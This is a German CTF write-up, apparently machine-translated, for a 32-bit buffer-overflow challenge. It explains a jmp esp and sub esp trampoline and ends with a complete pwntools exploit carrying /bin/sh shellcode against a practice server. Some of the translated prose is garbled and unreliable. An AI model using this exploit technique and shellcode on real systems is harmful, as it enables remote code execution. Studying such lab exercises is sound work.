x_ctf_b0verfl0w
Schritt
-
Routineinspektion, 32-Bit-Programm, RELRO ist aktiviert (Got-Tabelle kann nicht umgeschrieben werden)
-
Versuchen Sie, das Programm lokal auszuführen, um die allgemeine Situation zu sehen
-
32-Bit-
IDA- Lade- Fgets können überlaufen, aber nur 0x32-0x20-0x4 = 14 Bytes. Da nx nicht aktiviert ist, fällt zunächst Shellcode ein. 0x20 passt definitiv nicht in den von pwntools generierten Shellcode Sie können nur selbst schreiben, aber wir müssen einen Weg finden, esp zu entführen, um unseren Shellcode auszuführen -
Das Sprung-Esp-Gadget befindet sich in der Trefferfunktion,
so dass wir einen solchen Stapel
erstellen können. Ret wird geschrieben. Sprung esp. Nach dem Ausführen von ret zeigt esp + 4 auf sub esp, 0x28; jump esp und führt dann aus, esp gibt Go zurück zum Ort des Shellcodes, dann springe esp, der Shellcode wird ausgeführt.
Einzelheiten zu den Änderungen von esp und eip nach dem Ausführen von ret finden Sie in diesem Artikel -
Wie man Shellcode schreibt, verweise ich auf meinen vorherigen Artikel . Ich werde die Exp direkt hier posten
from pwn import *
context.log_level='debug'
r=remote('node3.buuoj.cn',29554)
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
print len(shellcode) #21
jmp_esp=0x8048504
sub_esp_jmp=asm('sub esp,0x28;jmp esp')
payload=shellcode+(0x20-len(shellcode)+4)*'a'+p32(jmp_esp)+sub_esp_jmp
r.sendline(payload)
r.interactive()